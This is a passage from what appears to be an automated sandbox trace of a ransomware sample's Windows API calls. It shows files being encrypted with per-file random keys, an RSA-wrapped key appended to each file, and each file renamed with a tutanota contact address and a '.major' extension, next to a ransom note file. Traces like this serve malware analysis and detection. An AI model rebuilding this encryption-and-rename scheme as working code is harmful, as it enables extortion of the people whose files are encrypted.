pcchString=0x2e3f9a8 | out: pszString="YK8kgHmYiQ6Z9vV36B/KcNz1JakeN84DwrQoZ7KnjZ8s4jGaNxFlPP+JSLxGZSVI\nIsnBeTMdT1ZvVSMem1sezpqW+Azbi1fNtiaPS2/NWrmU7dibM1mQpJfylbyOFg4z\nXGO7kspAfKLdN42XrH22ufbmm1S4fQjHsd1pfN9bJrCShjwmUZL6hmOyKgjGa6sC\nrJcNU0zkfXAG0FbBoAOZfpteeNNmXnOmhXXq3nzEvLHt99l0/C1q4M1lIOdVKAIi\nRiLTovK/KzHQKjY9IaObPW56qhOpzGjSBWfyc2oTonw4eSMrk57Q6vvYlzh1DofF\nOk/0BxTH9jJS+mVrrTNYpw==\n", pcchString=0x2e3f9a8) returned 1 [0139.404] WriteFile (in: hFile=0x4bc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.404] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.404] WriteFile (in: hFile=0x4bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.404] CloseHandle (hObject=0x4bc) returned 1 [0139.405] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.405] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.406] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.406] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.406] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0139.406] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0139.406] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0139.406] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.406] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.406] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0139.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0139.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0139.407] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0139.407] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=79634) returned 1 [0139.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13712) returned 0x5ed868 [0139.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13712) returned 0x600f88 [0139.407] ReadFile (in: hFile=0x4bc, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x13712, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x13712, lpOverlapped=0x0) returned 1 [0139.421] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=-79634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.421] WriteFile (in: hFile=0x4bc, lpBuffer=0x600f88*, nNumberOfBytesToWrite=0x13712, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x600f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13712, lpOverlapped=0x0) returned 1 [0139.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x600f88 | out: hHeap=0x570000) returned 1 [0139.424] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13712 [0139.424] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.424] WriteFile (in: hFile=0x4bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.424] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.424] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="usVDTrzT/SJZrmA0AN8n11JHKj5A6eEtfaUYU2sxhBcQb6DrsUF4hUV9/1+a1z6n\n9VMTezA6zSR7nwxcpHXSiFGq4EhFxnRa2d10rKmFvr65oV7mL4npBNwzrsGAw09Z\nqvvx17O6cMmGAjBGPQ72YHn4BMAIFUjqhSjrlEfO+F/ZwD50u2vRZCjy9pDWvC4v\nH+i+NmsMDsULVADtyHJVkVl08KWcrjGrphd8gGB9KUseqQWI0tRetPe22hdVyiOd\n7pinsOf6/vmRt1ZNX3EJDOhWBvPHnaw2PDGI43QzrxjR6VEeb7DaRISLcqIGZY1U\ngjeVVq8AhqrkB45eiC66ug==\n", pcchString=0x2e3f9a8) returned 1 [0139.425] WriteFile (in: hFile=0x4bc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.425] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.425] WriteFile (in: hFile=0x4bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.425] CloseHandle (hObject=0x4bc) returned 1 [0139.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.427] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0139.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0139.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0139.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.429] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.429] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1043\\eula.rtf", dwFileAttributes=0x80) returned 1 [0139.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0139.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0139.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0139.429] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0139.429] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3546) returned 1 [0139.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdda) returned 0x5ed868 [0139.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdda) returned 0x5ee650 [0139.430] ReadFile (in: hFile=0x4bc, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xdda, lpOverlapped=0x0) returned 1 [0139.444] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=-3546, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.444] WriteFile (in: hFile=0x4bc, lpBuffer=0x5ee650*, nNumberOfBytesToWrite=0xdda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee650*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdda, lpOverlapped=0x0) returned 1 [0139.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee650 | out: hHeap=0x570000) returned 1 [0139.444] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdda [0139.444] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.444] WriteFile (in: hFile=0x4bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.445] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.445] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.445] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.445] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.445] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="imwnejgT7oCrS2ZbwPva5FTTOYeUgH0wQF0r8DdPazc8WMPpIstARTxHIgA7T7M0\nGUNarSX6TSWkyBr8XSYHLYv1lYq4vSvlVC6iZTTGZ/jxqXBnKPLbRpvyMR6hElhK\n7GDmICICLngWqd0a978ngAxqhbChMp+9BtR5fN5F4OXMIsvkrzaVAWV4Oumi+GzQ\nUFJ8MS4BTwoEDxbJCu5J51170KXurm6qFEtwc+p6OK9PrcvSJgimnfAzvVB3PYbK\n/g5XTxKub9zS7vs8w6QnZgFKGo4gGJEyC4H92uKoZiINU7TivxjdK/x1QhO/pLEM\nSIHCjlkxrbbXfkHZ1xq2mA==\n", pcchString=0x2e3f9a8) returned 1 [0139.445] WriteFile (in: hFile=0x4bc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.445] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.445] WriteFile (in: hFile=0x4bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.445] CloseHandle (hObject=0x4bc) returned 1 [0139.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.446] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1043\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0139.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0139.448] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff581ac, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b59f0 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0139.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0139.448] GetLastError () returned 0x0 [0139.448] SetLastError (dwErrCode=0x0) [0139.448] GetLastError () returned 0x0 [0139.448] SetLastError (dwErrCode=0x0) [0139.448] GetLastError () returned 0x0 [0139.448] SetLastError (dwErrCode=0x0) [0139.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee40 [0139.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0139.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5630 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5630 | out: hHeap=0x570000) returned 1 [0139.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee40 | out: hHeap=0x570000) returned 1 [0139.448] FindNextFileW (in: hFindFile=0x5b59f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff581ac, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0139.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b53f0 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53f0 | out: hHeap=0x570000) returned 1 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0139.449] FindNextFileW (in: hFindFile=0x5b59f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0139.449] FindNextFileW (in: hFindFile=0x5b59f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0139.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] GetLastError () returned 0x0 [0139.449] SetLastError (dwErrCode=0x0) [0139.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0139.450] GetLastError () returned 0x0 [0139.450] SetLastError (dwErrCode=0x0) [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0139.450] FindNextFileW (in: hFindFile=0x5b59f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2093f, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfff2093f, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfff581ac, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0139.450] GetLastError () returned 0x0 [0139.450] SetLastError (dwErrCode=0x0) [0139.450] GetLastError () returned 0x0 [0139.450] SetLastError (dwErrCode=0x0) [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0139.450] GetLastError () returned 0x0 [0139.450] SetLastError (dwErrCode=0x0) [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.450] FindNextFileW (in: hFindFile=0x5b59f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0139.450] GetLastError () returned 0x0 [0139.450] SetLastError (dwErrCode=0x0) [0139.450] GetLastError () returned 0x0 [0139.450] SetLastError (dwErrCode=0x0) [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0139.450] GetLastError () returned 0x0 [0139.450] SetLastError (dwErrCode=0x0) [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0139.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0139.450] FindNextFileW (in: hFindFile=0x5b59f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0139.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.450] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.450] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0139.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0139.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0139.451] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), 